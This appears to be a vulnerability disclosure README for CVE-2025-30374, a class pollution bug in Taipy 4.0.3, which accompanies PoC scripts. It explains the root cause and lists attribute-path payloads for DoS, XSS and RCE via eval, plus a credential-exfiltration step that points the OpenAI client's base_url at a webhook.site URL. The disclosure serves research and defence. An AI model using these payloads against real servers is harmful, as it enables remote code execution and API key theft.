
Exploit PoCs for CVE-2025-30374, a Taipy class pollution bug, demonstrating RCE, reflected XSS, DoS, and OpenAI credential leakage with Docker-based reproduction scripts.
A class pollution vulnerability has been identified in Taipy v4.0.3 (the latest version at the time of discovery). This vulnerability allows unauthorized attackers to overwrite the Taipy server-side runtime context, leading to severe consequences such as RCE, Reflected XSS, Denial of Service (DoS), and leakage of sensitive authorization credentials (e.g., OpenAI tokens).
Backgrounds
Class pollution (analogous to prototype pollution in JavaScript) is a relatively new vulnerability in Python. It occurs when an attacker can unexpectedly overwrite a module's global variables or the attributes of certain classes and functions at runtime. This issue is categorized under CWE-915.
For more information about class pollution, please refer to:
[1] Class Pollution Wiki
[2] CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes
Class Pollution Vulnerability found in Taipy
The root cause of this vulnerability lies in Taipy's use of a recursive set function to update variable values in the Taipy states. Both the name and parameters are derived from client-side input and lack proper validation. This allows an attacker to inject malicious attribute paths, such as , to overwrite the method of .
value_TpN_tpec_TpExPr_value_TPMDL_2.__class__.__base__.setset_TaipyBaseThe following functions are invoked in multiple routes via _manage_message to update states from the client side:
# https://github.com/Avaiga/taipy/blob/5c56f125a2bab02a260eee88503ee480ac933f7e/taipy/gui/utils/_attributes.py#L37-L42
def _setscopeattr_drill(gui: "Gui", name: str, value: t.Any):
if gui._is_broadcasting():
for scope in gui._get_all_data_scopes().values():
_attrsetter(scope, name, value)
else:
_attrsetter(gui._get_data_scope(), name, value)
# https://github.com/Avaiga/taipy/blob/5c56f125a2bab02a260eee88503ee480ac933f7e/taipy/gui/utils/_attributes.py#L53-L58
def _attrsetter(obj: object, attr_str: str, value: object) -> None:
var_name_split = attr_str.split(sep=".")
for i in range(len(var_name_split) - 1):
sub_name = var_name_split[i]
obj = getattr(obj, sub_name)
setattr(obj, var_name_split[-1], value)
Setup
All PoCs below target the demo chat app included in this repository (see app/), which is based on the official Taipy LLM Chat demo (https://github.com/Avaiga/demo-llm-chat) and pins Taipy 4.0.3 (the version at the time of discovery). Build and run it with Docker:
docker build -t taipy-cve-30374 app/
docker run -d -p 5003:5000 taipy-cve-30374 # served at http://127.0.0.1:5003
The DoS, XSS, and RCE PoCs do not need a valid OpenAI key. For the token-leakage PoC, start the app with a real key so the exfiltrated request carries it:
docker run -d -p 5003:5000 -e OPENAI_API_KEY=sk-... taipy-cve-30374
Then run the corresponding script from the repository root (e.g. python poc-dos.py). Install the client dependencies first with pip install "python-socketio[client]" requests.
Consequence 1: DoS
The complete exploit can be found at: poc-dos.py
poc-dos.py overwrites the set method of the shared _TaipyBase class with a non-callable integer, using a bound holder variable as the entry point:
_TpD_tpec_TpExPr_conversation_TPMDL_2.__class__.__base__.set = 71
Because every Taipy value holder (_TaipyData, _TaipyLov, _TaipyLovValue, ...) derives from _TaipyBase, the server then raises TypeError: 'int' object is not callable while (re)evaluating any bound variable. This affects every session, not only the attacker's, and lasts until the app is restarted.
Consequence 2: OpenAI Token Leakage
The complete exploit can be found at: poc-token-exfil.py
The demo app keeps an openai.Client in a module global (client) that is bound into the Taipy state and used as state.client.chat.completions.create(...). poc-token-exfil.py pollutes client.base_url with an attacker-controlled URL:
client.base_url = https://webhook.site/<your-uuid>
Every subsequent chat request, carrying the Authorization: Bearer <OPENAI_API_KEY> header and the full conversation, is then redirected to the attacker-controlled server, leaking the OpenAI token.
Consequence 3: XSS

In the following function, when the application attempts to render user content, if the appropriate renderer is not found, it falls back to returning type(content).__name__ as the HTML response:
# https://github.com/Avaiga/taipy/blob/439c7f52253fc09dd41c455a8a9f8da962d49dfa/taipy/gui/gui.py#L544
return (
'<div style="background:white;color:red;">'
+ (f"No valid provider for type {type(content).__name__}" if content else "Wrong context.")
+ "</div>"
)
However, the __name__ attribute of a class object is settable through class pollution, e.g., tp_TpExPr_gui_get_adapted_lov_past_conversations_NoneType_TPMDL_2_0.__class__.__name__. An attacker can overwrite this attribute with a malicious HTML or JavaScript payload.
The complete exploit can be found at: poc-xss-no-dot.py (works against v4.0.3) and poc-xss.py (dotted "U" variant, Taipy ≤ 4.0.2).
Consequence 4: RCE

Next, we show how to lead to RCE attack.
The class pollution vulnerability allows attackers to set arbitrary attributes on objects that appear in the session state, which does not contain many sensitive objects by default. However, we found that the Gui.on_action route can be leveraged to invoke the Gui.table_on_edit handler, which causes new objects from the __main__ module to be bound into the session state. In the following line, a getattr call on the state object automatically triggers the binding operation, while a subsequent setattr immediately resets the bound value to None:
# https://github.com/Avaiga/taipy/blob/439c7f52253fc09dd41c455a8a9f8da962d49dfa/taipy/gui/gui.py#L1872
setattr(state, var_name, self._get_accessor().on_edit(getattr(state, var_name), payload))
This behavior creates a brief race window where object references, such as the Gui class, temporarily exist in the session state. During this window, attackers can exploit class pollution to overwrite attributes on those objects.
We further discovered that the Gui.__SELF_VAR attribute is used as a prefix when constructing expressions that are passed to Python's built-in eval() function:
# https://github.com/Avaiga/taipy/blob/439c7f52253fc09dd41c455a8a9f8da962d49dfa/taipy/gui/gui.py#L146
# https://github.com/Avaiga/taipy/blob/439c7f52253fc09dd41c455a8a9f8da962d49dfa/taipy/gui/gui.py#L3011
__SELF_VAR = "__gui"
# ...
glob_ctx[Gui.__SELF_VAR] = self
By overwriting the __SELF_VAR value through class pollution, an attacker can control the expression being evaluated, ultimately leading to arbitrary code execution on the server.
The complete exploit can be found at: poc-rce-no-dot.py (works against v4.0.3) and poc-rce.py (dotted "U" variant, Taipy ≤ 4.0.2). Both bind the Gui object into the session state through the on_action route calling table_on_edit, then race the class-pollution write against it, so they may need several attempts to land.
Any user of Taipy can exploit this vulnerability to launch RCE, Reflected XSS, Denial of Service (DoS) and leakage of sensitive authorization credentials (e.g., OpenAI tokens).